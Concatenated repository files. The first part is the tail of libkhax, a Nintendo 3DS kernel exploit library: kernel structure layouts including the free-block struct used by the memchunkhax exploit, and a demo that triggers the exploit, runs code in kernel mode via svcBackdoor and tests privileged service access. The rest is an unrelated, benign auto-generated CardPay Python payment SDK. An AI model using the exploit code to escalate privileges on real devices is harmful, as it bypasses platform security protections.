KThread *volatile m_interactingThread; // +01C
u16 m_unknown020; // +020
u16 m_unknown022; // +022
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_unknown02C; // +02C new to New 3DS
u32 m_unknown030; // +030 new to New 3DS
u32 m_memoryBlockCount; // +034
KLinkedListNode *m_memoryBlockFirst; // +038
KLinkedListNode *m_memoryBlockLast; // +03C
u32 m_unknown040; // +040
u32 m_unknown044; // +044
void *m_translationTableBase; // +048
u8 m_contextID; // +04C
u32 m_unknown050; // +050
void *m_userVirtualMemoryEnd; // +054
void *m_userLinearVirtualBase; // +058
u32 m_unknown05C; // +05C
u32 m_mmuTableSize; // +060
void *m_mmuTableAddress; // +064
u32 m_threadContextPagesSize; // +068
u32 m_threadLocalPageCount; // +06C
KLinkedListNode *m_threadLocalPageFirst; // +070
KLinkedListNode *m_threadLocalPageLast; // +074
u32 m_unknown078; // +078
s32 m_idealProcessor; // +07C
u32 m_unknown080; // +080
void *m_resourceLimits; // +084
u32 m_unknown088; // +088
u32 m_threadCount; // +08C
u8 m_svcAccessControl[0x80 / 8]; // +090
u32 m_interruptFlags[0x80 / 32]; // +0A0
u32 m_kernelFlags; // +0B0
u16 m_handleTableSize; // +0B4
u16 m_kernelReleaseVersion; // +0B6
KCodeSet *m_codeSet; // +0B8
u32 m_processID; // +0BC
u32 m_unknown0C0; // +0C0
u32 m_unknown0C4; // +0C4
KThread *m_mainThread; // +0C8
//...more...
};
static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090,
"KProcess_8_0_0_New isn't the expected layout.");
// Free block structure in the kernel, the one used in the memchunkhax exploit.
struct HeapFreeBlock
{
int m_count;
HeapFreeBlock *m_next;
HeapFreeBlock *m_prev;
int m_unknown1;
int m_unknown2;
};
static_assert(sizeof(HeapFreeBlock) == 0x014,
"HeapFreeBlock isn't the expected size.");
// The layout of a memory page.
union Page
{
unsigned char m_bytes[4096];
HeapFreeBlock m_freeBlock;
};
static_assert(sizeof(Page) == 0x1000,
"Page isn't the expected size.");
//------------------------------------------------------------------------------------------------
// Done using illegal offsetof
#pragma GCC diagnostic pop
}
<file_sep>/demo/main.c
#ifndef LIBKHAX_AS_LIB
#include <3ds.h>
#include <3ds/services/am.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include "../khax.h"
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
s32 g_backdoorResult = -1;
s32 dump_chunk_wrapper()
{
__asm__ volatile("cpsid aif");
g_backdoorResult = 0x6666abcd;
return 0;
}
// Test access to "am" service, which we shouldn't have access to, unless khax succeeds.
Result test_am_access_inner()
{
Result result;
// Initialize "am"
result = amInit();
if (result != 0)
{
return result;
}
Handle cia;
result = AM_StartCiaInstall(MEDIATYPE_SD, &cia);
if (result == 0)
{
AM_CancelCIAInstall(&cia);
}
amExit();
return result;
}
// Self-contained test.
void test_am_access_outer(int testNumber)
{
printf("amtest%d:%08lx\n", testNumber, test_am_access_inner());
}
int main()
{
// Initialize services
/* srvInit(); // mandatory
aptInit(); // mandatory
hidInit(NULL); // input (buttons, screen)*/
gfxInitDefault(); // graphics
/* fsInit();
sdmcInit();
hbInit();
qtmInit();*/
consoleInit(GFX_BOTTOM, NULL);
consoleClear();
test_am_access_outer(1); // test before libkhax
Result result = khaxInit();
printf("khaxInit returned %08lx\n", result);
if (result == 0)
{
printf("backdoor returned %08lx\n", (svcBackdoor(dump_chunk_wrapper), g_backdoorResult));
test_am_access_outer(2); // test after libkhax
printf("khax demo main finished\n");
}
printf("Press X to exit\n");
khaxExit();
while (aptMainLoop())
{
// Wait next screen refresh
gspWaitForVBlank();
// Read which buttons are currently pressed
hidScanInput();
u32 kDown = hidKeysDown();
(void) kDown;
u32 kHeld = hidKeysHeld();
(void) kHeld;
// If START is pressed, break loop and quit
if (kDown & KEY_X){
break;
}
//consoleClear();
// Flush and swap framebuffers
gfxFlushBuffers();
gfxSwapBuffers();
}
// Exit services
/* qtmExit();
hbExit();
sdmcExit();
fsExit();*/
gfxExit();
/* hidExit();
aptExit();
srvExit();*/
// Return to hbmenu
return 0;
}
#endif // LIBKHAX_AS_LIB
| aefcf715532acd006eddd0b6dbdb6e1943f4a5ff | [
"C",
"C++"
] | 3 | C++ | TuxSH/libkhax | 8baa0c43da97233c6ed58d1906d9497931274538 | 943c03e6e8e26ef200d9bb419f37b4b9687169fb |
refs/heads/master | <file_sep># coding: utf-8
"""
CardPay REST API
Welcome to the CardPay REST API. The CardPay API uses HTTP verbs and a [REST](https://en.wikipedia.org/wiki/Representational_state_transfer) resources endpoint structure (see more info about REST). Request and response payloads are formatted as JSON. Merchant uses API to create payments, refunds, payouts or recurrings, check or update transaction status and get information about created transactions. In API authentication process based on [OAuth 2.0](https://oauth.net/2/) standard. For recent changes see changelog section. # noqa: E501
OpenAPI spec version: 3.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class MobileTokenResponse(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {"expires": "str", "mobile_token": "str"}
attribute_map = {"expires": "expires", "mobile_token": "mobile_token"}
def __init__(self, expires=None, mobile_token=None): # noqa: E501
"""MobileTokenResponse - a model defined in Swagger""" # noqa: E501
self._expires = None
self._mobile_token = None
self.discriminator = None
if expires is not None:
self.expires = expires
if mobile_token is not None:
self.mobile_token = mobile_token
@property
def expires(self):
"""Gets the expires of this MobileTokenResponse. # noqa: E501
Date and time of mobile token expiration in ISO 8601 format, example of format - yyyy-MM-dd'T'HH:mm:ss.SSS'Z' # noqa: E501
:return: The expires of this MobileTokenResponse. # noqa: E501
:rtype: str
"""
return self._expires
@expires.setter
def expires(self, expires):
"""Sets the expires of this MobileTokenResponse.
Date and time of mobile token expiration in ISO 8601 format, example of format - yyyy-MM-dd'T'HH:mm:ss.SSS'Z' # noqa: E501
:param expires: The expires of this MobileTokenResponse. # noqa: E501
:type: str
"""
self._expires = expires
@property
def mobile_token(self):
"""Gets the mobile_token of this MobileTokenResponse. # noqa: E501
Unique identifier, max 128 symbols # noqa: E501
:return: The mobile_token of this MobileTokenResponse. # noqa: E501
:rtype: str
"""
return self._mobile_token
@mobile_token.setter
def mobile_token(self, mobile_token):
"""Sets the mobile_token of this MobileTokenResponse.
Unique identifier, max 128 symbols # noqa: E501
:param mobile_token: The mobile_token of this MobileTokenResponse. # noqa: E501
:type: str
"""
self._mobile_token = mobile_token
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(
map(lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value)
)
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(
map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict")
else item,
value.items(),
)
)
else:
if value is not None:
result[attr] = value
if issubclass(MobileTokenResponse, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, MobileTokenResponse):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
<file_sep># Unlimint APIv3 Python SDK
You can sign up for a Unlimint account at https://www.unlimint.com.
## Getting Started
Please follow the [installation](#installation) instruction and take a look at [usage examples](tests).
## Requirements
Python 3+
## Installation & Usage
### pip install
If the python package is hosted on Github, you can install directly from Github
```sh
pip install git+https://github.com/cardpay/python-sdk-v3.git --upgrade
```
or
```sh
pip install 'cardpay>=2.28.0' --upgrade
```
Then import the package:
```python
from cardpay import *
```
### Setuptools
Install via [Setuptools](http://pypi.python.org/pypi/setuptools).
```sh
python setup.py install --user
```
Then import the package:
```python
from cardpay import *
```
<file_sep># coding: utf-8
import urllib3
from config import create_logger
logger = create_logger(__name__)
http = urllib3.PoolManager()
def do_get(url):
r = http.request('GET', url)
logger.info("%s %s", r.status, r._request_url)
<file_sep># coding: utf-8
"""
CardPay REST API
Welcome to the CardPay REST API. The CardPay API uses HTTP verbs and a [REST](https://en.wikipedia.org/wiki/Representational_state_transfer) resources endpoint structure (see more info about REST). Request and response payloads are formatted as JSON. Merchant uses API to create payments, refunds, payouts or recurrings, check or update transaction status and get information about created transactions. In API authentication process based on [OAuth 2.0](https://oauth.net/2/) standard. For recent changes see changelog section. # noqa: E501
OpenAPI spec version: 3.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from cardpay.api_client import ApiClient
class PaymentsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def create_payment(self, payment_request, **kwargs): # noqa: E501
"""Create payment # noqa: E501
Endpoint for creation payments. Request example presented for Gateway mode. # noqa: E501
:param PaymentRequest payment_request: paymentRequest (required)
:return: PaymentGatewayCreationResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs["_return_http_data_only"] = True
(data) = self.create_payment_with_http_info(
payment_request, **kwargs
) # noqa: E501
return data
def create_payment_with_http_info(self, payment_request, **kwargs): # noqa: E501
"""Create payment # noqa: E501
Endpoint for creation payments. Request example presented for Gateway mode. # noqa: E501
:param PaymentRequest payment_request: paymentRequest (required)
:return: PaymentGatewayCreationResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ["payment_request"] # noqa: E501
all_params.append("_return_http_data_only")
all_params.append("_preload_content")
all_params.append("_request_timeout")
params = locals()
for key, val in six.iteritems(params["kwargs"]):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_payment" % key
)
params[key] = val
del params["kwargs"]
# verify the required parameter 'payment_request' is set
if "payment_request" not in params or params["payment_request"] is None:
raise ValueError(
"Missing the required parameter `payment_request` when calling `create_payment`"
) # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if "payment_request" in params:
body_params = params["payment_request"]
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
) # noqa: E501
# HTTP header `Content-Type`
header_params[
"Content-Type"
] = self.api_client.select_header_content_type( # noqa: E501
["application/json"]
) # noqa: E501
return self.api_client.call_api(
"/api/payments",
"POST",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="PaymentGatewayCreationResponse", # noqa: E501
_return_http_data_only=params.get("_return_http_data_only"),
_preload_content=params.get("_preload_content", True),
_request_timeout=params.get("_request_timeout"),
collection_formats=collection_formats,
)
def get_authentication_data1(self, payment_id, **kwargs): # noqa: E501
"""Get payment 3DS result information # noqa: E501
:param str payment_id: Payment ID (required)
:return: AuthenticationDataResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs["_return_http_data_only"] = True
(data) = self.get_authentication_data1_with_http_info(
payment_id, **kwargs
) # noqa: E501
return data
def get_authentication_data1_with_http_info(
self, payment_id, **kwargs
): # noqa: E501
"""Get payment 3DS result information # noqa: E501
:param str payment_id: Payment ID (required)
:return: AuthenticationDataResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ["payment_id"] # noqa: E501
all_params.append("_return_http_data_only")
all_params.append("_preload_content")
all_params.append("_request_timeout")
params = locals()
for key, val in six.iteritems(params["kwargs"]):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_authentication_data1" % key
)
params[key] = val
del params["kwargs"]
# verify the required parameter 'payment_id' is set
if "payment_id" not in params or params["payment_id"] is None:
raise ValueError(
"Missing the required parameter `payment_id` when calling `get_authentication_data1`"
) # noqa: E501
collection_formats = {}
path_params = {}
if "payment_id" in params:
path_params["paymentId"] = params["payment_id"] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
) # noqa: E501
return self.api_client.call_api(
"/api/payments/{paymentId}/threedsecure",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="AuthenticationDataResponse", # noqa: E501
_return_http_data_only=params.get("_return_http_data_only"),
_preload_content=params.get("_preload_content", True),
_request_timeout=params.get("_request_timeout"),
collection_formats=collection_formats,
)
def get_payment(self, payment_id, **kwargs): # noqa: E501
"""Get payment information # noqa: E501
:param str payment_id: Payment ID (required)
:return: PaymentResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs["_return_http_data_only"] = True
(data) = self.get_payment_with_http_info(payment_id, **kwargs) # noqa: E501
return data
def get_payment_with_http_info(self, payment_id, **kwargs): # noqa: E501
"""Get payment information # noqa: E501
:param str payment_id: Payment ID (required)
:return: PaymentResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ["payment_id"] # noqa: E501
all_params.append("_return_http_data_only")
all_params.append("_preload_content")
all_params.append("_request_timeout")
params = locals()
for key, val in six.iteritems(params["kwargs"]):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_payment" % key
)
params[key] = val
del params["kwargs"]
# verify the required parameter 'payment_id' is set
if "payment_id" not in params or params["payment_id"] is None:
raise ValueError(
"Missing the required parameter `payment_id` when calling `get_payment`"
) # noqa: E501
collection_formats = {}
path_params = {}
if "payment_id" in params:
path_params["paymentId"] = params["payment_id"] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
) # noqa: E501
return self.api_client.call_api(
"/api/payments/{paymentId}",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="PaymentResponse", # noqa: E501
_return_http_data_only=params.get("_return_http_data_only"),
_preload_content=params.get("_preload_content", True),
_request_timeout=params.get("_request_timeout"),
collection_formats=collection_formats,
)
def get_payment_methods(self, **kwargs): # noqa: E501
"""Get payment methods # noqa: E501
Endpoint for get payment methods by current terminal code # noqa: E501
:return: PaymentMethodsList
If the method is called asynchronously,
returns the request thread.
"""
kwargs["_return_http_data_only"] = True
(data) = self.get_payment_methods_with_http_info(**kwargs) # noqa: E501
return data
def get_payment_methods_with_http_info(self, **kwargs): # noqa: E501
"""Get payment methods # noqa: E501
Endpoint for get payment methods by current terminal code # noqa: E501
:return: PaymentMethodsList
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append("_return_http_data_only")
all_params.append("_preload_content")
all_params.append("_request_timeout")
params = locals()
for key, val in six.iteritems(params["kwargs"]):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_payment_methods" % key
)
params[key] = val
del params["kwargs"]
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
) # noqa: E501
return self.api_client.call_api(
"/api/payment_methods",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="PaymentMethodsList", # noqa: E501
_return_http_data_only=params.get("_return_http_data_only"),
_preload_content=params.get("_preload_content", True),
_request_timeout=params.get("_request_timeout"),
collection_formats=collection_formats,
)
def get_payments(self, request_id, **kwargs): # noqa: E501
"""Get payments information # noqa: E501
:param str request_id: Request ID (required)
:param str currency: [ISO 4217](https://en.wikipedia.org/wiki/ISO_4217) currency code of transactions currency
:param datetime end_time: Date and time up to milliseconds (in [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601) format) when requested period ends (not inclusive), UTC time, must be less than 7 days after 'start_time', default is current time (format: yyyy-MM-dd'T'HH:mm:ss'Z')
:param int max_count: Limit number of returned transactions (must be less than 10000, default is 1000)
:param str merchant_order_id: Merchant order number from the merchant system
:param str payment_method: Used payment method type name from payment methods list
:param str sort_order: Sort based on order of results. `asc` for ascending order or `desc` for descending order (default value)
:param datetime start_time: Date and time up to milliseconds (in [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601) format) when requested period starts (inclusive), UTC time, default is 24 hours before 'end_time' (format: yyyy-MM-dd'T'HH:mm:ss'Z')
:return: PaymentsList
If the method is called asynchronously,
returns the request thread.
"""
kwargs["_return_http_data_only"] = True
(data) = self.get_payments_with_http_info(request_id, **kwargs) # noqa: E501
return data
def get_payments_with_http_info(self, request_id, **kwargs): # noqa: E501
"""Get payments information # noqa: E501
:param str request_id: Request ID (required)
:param str currency: [ISO 4217](https://en.wikipedia.org/wiki/ISO_4217) currency code of transactions currency
:param datetime end_time: Date and time up to milliseconds (in [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601) format) when requested period ends (not inclusive), UTC time, must be less than 7 days after 'start_time', default is current time (format: yyyy-MM-dd'T'HH:mm:ss'Z')
:param int max_count: Limit number of returned transactions (must be less than 10000, default is 1000)
:param str merchant_order_id: Merchant order number from the merchant system
:param str payment_method: Used payment method type name from payment methods list
:param str sort_order: Sort based on order of results. `asc` for ascending order or `desc` for descending order (default value)
:param datetime start_time: Date and time up to milliseconds (in [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601) format) when requested period starts (inclusive), UTC time, default is 24 hours before 'end_time' (format: yyyy-MM-dd'T'HH:mm:ss'Z')
:return: PaymentsList
If the method is called asynchronously,
returns the request thread.
"""
all_params = [
"request_id",
"currency",
"end_time",
"max_count",
"merchant_order_id",
"payment_method",
"sort_order",
"start_time",
] # noqa: E501
all_params.append("_return_http_data_only")
all_params.append("_preload_content")
all_params.append("_request_timeout")
params = locals()
for key, val in six.iteritems(params["kwargs"]):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_payments" % key
)
params[key] = val
del params["kwargs"]
# verify the required parameter 'request_id' is set
if "request_id" not in params or params["request_id"] is None:
raise ValueError(
"Missing the required parameter `request_id` when calling `get_payments`"
) # noqa: E501
if "request_id" in params and len(params["request_id"]) > 50:
raise ValueError(
"Invalid value for parameter `request_id` when calling `get_payments`, length must be less than or equal to `50`"
) # noqa: E501
if "request_id" in params and len(params["request_id"]) < 1:
raise ValueError(
"Invalid value for parameter `request_id` when calling `get_payments`, length must be greater than or equal to `1`"
) # noqa: E501
if "max_count" in params and params["max_count"] > 10000: # noqa: E501
raise ValueError(
"Invalid value for parameter `max_count` when calling `get_payments`, must be a value less than or equal to `10000`"
) # noqa: E501
if "merchant_order_id" in params and len(params["merchant_order_id"]) > 50:
raise ValueError(
"Invalid value for parameter `merchant_order_id` when calling `get_payments`, length must be less than or equal to `50`"
) # noqa: E501
if "merchant_order_id" in params and len(params["merchant_order_id"]) < 0:
raise ValueError(
"Invalid value for parameter `merchant_order_id` when calling `get_payments`, length must be greater than or equal to `0`"
) # noqa: E501
if "payment_method" in params and len(params["payment_method"]) > 50:
raise ValueError(
"Invalid value for parameter `payment_method` when calling `get_payments`, length must be less than or equal to `50`"
) # noqa: E501
if "payment_method" in params and len(params["payment_method"]) < 0:
raise ValueError(
"Invalid value for parameter `payment_method` when calling `get_payments`, length must be greater than or equal to `0`"
) # noqa: E501
if "sort_order" in params and not re.search(
r"asc|desc", params["sort_order"]
): # noqa: E501
raise ValueError(
"Invalid value for parameter `sort_order` when calling `get_payments`, must conform to the pattern `/asc|desc/`"
) # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if "currency" in params:
query_params.append(("currency", params["currency"])) # noqa: E501
if "end_time" in params:
query_params.append(("end_time", params["end_time"])) # noqa: E501
if "max_count" in params:
query_params.append(("max_count", params["max_count"])) # noqa: E501
if "merchant_order_id" in params:
query_params.append(
("merchant_order_id", params["merchant_order_id"])
) # noqa: E501
if "payment_method" in params:
query_params.append(
("payment_method", params["payment_method"])
) # noqa: E501
if "request_id" in params:
query_params.append(("request_id", params["request_id"])) # noqa: E501
if "sort_order" in params:
query_params.append(("sort_order", params["sort_order"])) # noqa: E501
if "start_time" in params:
query_params.append(("start_time", params["start_time"])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
) # noqa: E501
return self.api_client.call_api(
"/api/payments",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="PaymentsList", # noqa: E501
_return_http_data_only=params.get("_return_http_data_only"),
_preload_content=params.get("_preload_content", True),
_request_timeout=params.get("_request_timeout"),
collection_formats=collection_formats,
)
def update_payment(self, payment_id, payment_patch_request, **kwargs): # noqa: E501
"""Update payment # noqa: E501
:param str payment_id: Payment ID (required)
:param PaymentPatchRequest payment_patch_request: paymentPatchRequest (required)
:return: PaymentUpdateResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs["_return_http_data_only"] = True
(data) = self.update_payment_with_http_info(
payment_id, payment_patch_request, **kwargs
) # noqa: E501
return data
def update_payment_with_http_info(
self, payment_id, payment_patch_request, **kwargs
): # noqa: E501
"""Update payment # noqa: E501
:param str payment_id: Payment ID (required)
:param PaymentPatchRequest payment_patch_request: paymentPatchRequest (required)
:return: PaymentUpdateResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ["payment_id", "payment_patch_request"] # noqa: E501
all_params.append("_return_http_data_only")
all_params.append("_preload_content")
all_params.append("_request_timeout")
params = locals()
for key, val in six.iteritems(params["kwargs"]):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_payment" % key
)
params[key] = val
del params["kwargs"]
# verify the required parameter 'payment_id' is set
if "payment_id" not in params or params["payment_id"] is None:
raise ValueError(
"Missing the required parameter `payment_id` when calling `update_payment`"
) # noqa: E501
# verify the required parameter 'payment_patch_request' is set
if (
"payment_patch_request" not in params
or params["payment_patch_request"] is None
):
raise ValueError(
"Missing the required parameter `payment_patch_request` when calling `update_payment`"
) # noqa: E501
collection_formats = {}
path_params = {}
if "payment_id" in params:
path_params["paymentId"] = params["payment_id"] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if "payment_patch_request" in params:
body_params = params["payment_patch_request"]
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
) # noqa: E501
# HTTP header `Content-Type`
header_params[
"Content-Type"
] = self.api_client.select_header_content_type( # noqa: E501
["application/json"]
) # noqa: E501
return self.api_client.call_api(
"/api/payments/{paymentId}",
"PATCH",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="PaymentUpdateResponse", # noqa: E501
_return_http_data_only=params.get("_return_http_data_only"),
_preload_content=params.get("_preload_content", True),
_request_timeout=params.get("_request_timeout"),
collection_formats=collection_formats,
)
<file_sep># coding: utf-8
"""
CardPay REST API
Welcome to the CardPay REST API. The CardPay API uses HTTP verbs and a [REST](https://en.wikipedia.org/wiki/Representational_state_transfer) resources endpoint structure (see more info about REST). Request and response payloads are formatted as JSON. Merchant uses API to create payments, refunds, payouts or recurrings, check or update transaction status and get information about created transactions. In API authentication process based on [OAuth 2.0](https://oauth.net/2/) standard. For recent changes see changelog section. # noqa: E501
OpenAPI spec version: 3.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from cardpay.api_client import ApiClient
class MobileApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def create_mobile_payment(self, authorization, request, **kwargs): # noqa: E501
"""Create mobile payment # noqa: E501
:param str authorization: Authorization (required)
:param MobilePaymentRequest request: request (required)
:return: MobilePaymentResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs["_return_http_data_only"] = True
(data) = self.create_mobile_payment_with_http_info(
authorization, request, **kwargs
) # noqa: E501
return data
def create_mobile_payment_with_http_info(
self, authorization, request, **kwargs
): # noqa: E501
"""Create mobile payment # noqa: E501
:param str authorization: Authorization (required)
:param MobilePaymentRequest request: request (required)
:return: MobilePaymentResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ["authorization", "request"] # noqa: E501
all_params.append("_return_http_data_only")
all_params.append("_preload_content")
all_params.append("_request_timeout")
params = locals()
for key, val in six.iteritems(params["kwargs"]):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_mobile_payment" % key
)
params[key] = val
del params["kwargs"]
# verify the required parameter 'authorization' is set
if "authorization" not in params or params["authorization"] is None:
raise ValueError(
"Missing the required parameter `authorization` when calling `create_mobile_payment`"
) # noqa: E501
# verify the required parameter 'request' is set
if "request" not in params or params["request"] is None:
raise ValueError(
"Missing the required parameter `request` when calling `create_mobile_payment`"
) # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
if "authorization" in params:
header_params["Authorization"] = params["authorization"] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if "request" in params:
body_params = params["request"]
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
) # noqa: E501
# HTTP header `Content-Type`
header_params[
"Content-Type"
] = self.api_client.select_header_content_type( # noqa: E501
["application/json"]
) # noqa: E501
return self.api_client.call_api(
"/api/mobile/payment",
"POST",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="MobilePaymentResponse", # noqa: E501
_return_http_data_only=params.get("_return_http_data_only"),
_preload_content=params.get("_preload_content", True),
_request_timeout=params.get("_request_timeout"),
collection_formats=collection_formats,
)
def execute_card_binding(self, authorization, request, **kwargs): # noqa: E501
"""Execute card binding process # noqa: E501
:param str authorization: Authorization (required)
:param CardBindingRequest request: request (required)
:return: CardBindingResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs["_return_http_data_only"] = True
(data) = self.execute_card_binding_with_http_info(
authorization, request, **kwargs
) # noqa: E501
return data
def execute_card_binding_with_http_info(
self, authorization, request, **kwargs
): # noqa: E501
"""Execute card binding process # noqa: E501
:param str authorization: Authorization (required)
:param CardBindingRequest request: request (required)
:return: CardBindingResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ["authorization", "request"] # noqa: E501
all_params.append("_return_http_data_only")
all_params.append("_preload_content")
all_params.append("_request_timeout")
params = locals()
for key, val in six.iteritems(params["kwargs"]):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method execute_card_binding" % key
)
params[key] = val
del params["kwargs"]
# verify the required parameter 'authorization' is set
if "authorization" not in params or params["authorization"] is None:
raise ValueError(
"Missing the required parameter `authorization` when calling `execute_card_binding`"
) # noqa: E501
# verify the required parameter 'request' is set
if "request" not in params or params["request"] is None:
raise ValueError(
"Missing the required parameter `request` when calling `execute_card_binding`"
) # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
if "authorization" in params:
header_params["Authorization"] = params["authorization"] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if "request" in params:
body_params = params["request"]
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
) # noqa: E501
# HTTP header `Content-Type`
header_params[
"Content-Type"
] = self.api_client.select_header_content_type( # noqa: E501
["application/json"]
) # noqa: E501
return self.api_client.call_api(
"/api/mobile/cardbinding",
"POST",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="CardBindingResponse", # noqa: E501
_return_http_data_only=params.get("_return_http_data_only"),
_preload_content=params.get("_preload_content", True),
_request_timeout=params.get("_request_timeout"),
collection_formats=collection_formats,
)
def generate_mobile_token(self, request, **kwargs): # noqa: E501
"""Generate mobile token # noqa: E501
:param MobileTokenRequest request: request (required)
:return: MobileTokenResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs["_return_http_data_only"] = True
(data) = self.generate_mobile_token_with_http_info(
request, **kwargs
) # noqa: E501
return data
def generate_mobile_token_with_http_info(self, request, **kwargs): # noqa: E501
"""Generate mobile token # noqa: E501
:param MobileTokenRequest request: request (required)
:return: MobileTokenResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ["request"] # noqa: E501
all_params.append("_return_http_data_only")
all_params.append("_preload_content")
all_params.append("_request_timeout")
params = locals()
for key, val in six.iteritems(params["kwargs"]):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method generate_mobile_token" % key
)
params[key] = val
del params["kwargs"]
# verify the required parameter 'request' is set
if "request" not in params or params["request"] is None:
raise ValueError(
"Missing the required parameter `request` when calling `generate_mobile_token`"
) # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if "request" in params:
body_params = params["request"]
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
) # noqa: E501
# HTTP header `Content-Type`
header_params[
"Content-Type"
] = self.api_client.select_header_content_type( # noqa: E501
["application/json"]
) # noqa: E501
return self.api_client.call_api(
"/api/mobile/token",
"POST",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="MobileTokenResponse", # noqa: E501
_return_http_data_only=params.get("_return_http_data_only"),
_preload_content=params.get("_preload_content", True),
_request_timeout=params.get("_request_timeout"),
collection_formats=collection_formats,
)
